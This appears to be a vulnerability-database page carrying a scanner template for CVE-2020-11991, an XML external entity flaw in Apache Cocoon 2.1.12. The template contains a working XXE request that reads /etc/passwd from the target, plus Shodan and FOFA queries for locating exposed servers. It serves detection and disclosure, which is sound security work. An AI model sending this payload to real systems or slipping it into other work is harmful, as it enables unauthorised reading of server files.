Apache Cocoon 2.1.12 - XML Injection
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2020-11991 | 9 Dec 202400:00 | – | circl | |
| CVE-2020-11991 | 11 Sep 202013:28 | – | cve | |
| CVE-2020-11991 | 11 Sep 202013:28 | – | cvelist | |
| CVE-2020-11991 | 11 Sep 202014:15 | – | nvd | |
| CVE-2020-11991 | 11 Sep 202014:15 | – | osv | |
| Information disclosure | 11 Sep 202014:15 | – | prion | |
| CVE-2020-11991: Improper Restriction of XML External Entity Reference | 11 Sep 202000:00 | – | rapid7 | |
| CVE-2020-11991 | 22 May 202515:50 | – | redhatcve | |
| VulnCheck KEV: CVE-2020-11991 | 25 Nov 202300:00 | – | vulncheck_kev |
id: CVE-2020-11991
info:
name: Apache Cocoon 2.1.12 - XML Injection
author: pikpikcu,diedromeo
severity: high
description: |
Apache Cocoon 2.1.12 contains an XML injection caused by parsing user-provided XML with external system entities in StreamGenerator, letting attackers access arbitrary files on the server, exploit requires sending malicious XML.
impact: |
Attackers can access arbitrary files on the server, leading to information disclosure and potential server compromise.
remediation: |
Update to the latest version of Apache Cocoon or apply security patches that disable external entity processing.
reference:
- https://lists.apache.org/thread/6xg5j4knfczwdhggo3t95owqzol37k1b
- https://nvd.nist.gov/vuln/detail/CVE-2020-11991
- https://lists.apache.org/thread.html/r77add973ea521185e1a90aca00ba9dae7caa8d8b944d92421702bb54%40%3Cusers.cocoon.apache.org%3E
- https://github.com/apache/cocoon/blob/BRANCH_2_1_X/src/webapp/samples/stream/sitemap.xmap
- https://github.com/apache/cocoon/blob/BRANCH_2_1_X/src/java/org/apache/cocoon/generation/StreamGenerator.java
- https://github.com/apache/cocoon/commit/8115f6ce315e306807b224f081fe06a27592c446
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2020-11991
cwe-id: CWE-611
epss-score: 0.72456
epss-percentile: 0.99424
cpe: cpe:2.3:a:apache:cocoon:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: apache
product: cocoon
shodan-query:
- http.html:"Apache Cocoon"
- http.html:"apache cocoon"
fofa-query: body="apache cocoon"
tags: cve,cve2020,apache,xml,cocoon,xxe,vkev,vuln
http:
- raw:
- |
POST /samples/process-order HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml
<?xml version="1.0"?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&ent;</lastName>
</userInfo>
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a004630440220512123fb5c58e4e6cb2864a08c2fef8c99824d393de7c8756d35ea170bb78c5a02204b49d99c3c87d8fbc9394c1376099ca702daf6faa6f58cca81ae958f3672d240:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Feb 2026 07:00Current
7.3High risk
Vulners AI Score7.3
CVSS 25
CVSS 3.17.5
EPSS0.72456